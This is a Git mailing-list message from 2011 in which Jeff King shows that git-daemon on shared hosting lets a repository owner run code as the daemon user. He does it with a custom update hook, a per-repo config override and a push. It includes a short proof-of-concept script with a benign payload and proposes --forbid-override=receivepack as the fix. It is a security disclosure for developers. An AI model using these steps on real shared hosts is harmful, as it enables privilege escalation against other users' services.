On Mon, Nov 28, 2011 at 02:51:07AM -0500, Jeff King wrote: > > I actually like the idea of allowing pre-upload-pack hook on git:// and > > possibly http:// only. git-daemon can tell the upload-pack that it is OK > > to run the hook, and the hook can do the things that only the daemon can > > do, never touching what the original requestor would but the repository > > owner would not have an access to. > > That's not necessarily safe. Think about a site like kernel.org. The > administrator is the one running the daemon, on behalf of all of the > users. But my impression is that pre-August, developers had shell access > to their own repos and could write their own hook files. So if > git-daemon runs hooks, then any repo owner could run arbitrary code as > the git-daemon, including killing the running daemon and running their > own trojan. Actually, depending on how kernel.org (or other similar sites) run the daemon, this might be an issue even without further patches. By default, git-daemon lets the enable/disable flag for any service be overridden by the repo config. So something like this: # make an evil repo; imagine this is done by a user on a shared # hosting site which allows shell access. git init --bare evil && cat >evil/hooks/update <<\EOF && #!/bin/sh echo >&2 "executing arbitrary code as `id`" EOF git --git-dir=evil config daemon.receivepack true && touch evil/git-daemon-export-ok && chmod -R 777 evil # now serve the repo as a daemon running as some other # user. This simulates the admin of a shared git hosting # site running git-daemon. sudo su -c 'git daemon --verbose --base-path="$PWD"' nobody and then push from anywhere: $ git push --all git://localhost/evil ... remote: executing arbitrary code as uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) You can avoid this by setting --forbid-override=receivepack; I wonder if that should be the default. -Peff -- To unsubscribe from this list: send the line "unsubscribe git" in the body of a message to majordomo@xxxxxxxxxxxxxxx More majordomo info at http://vger.kernel.org/majordomo-info.html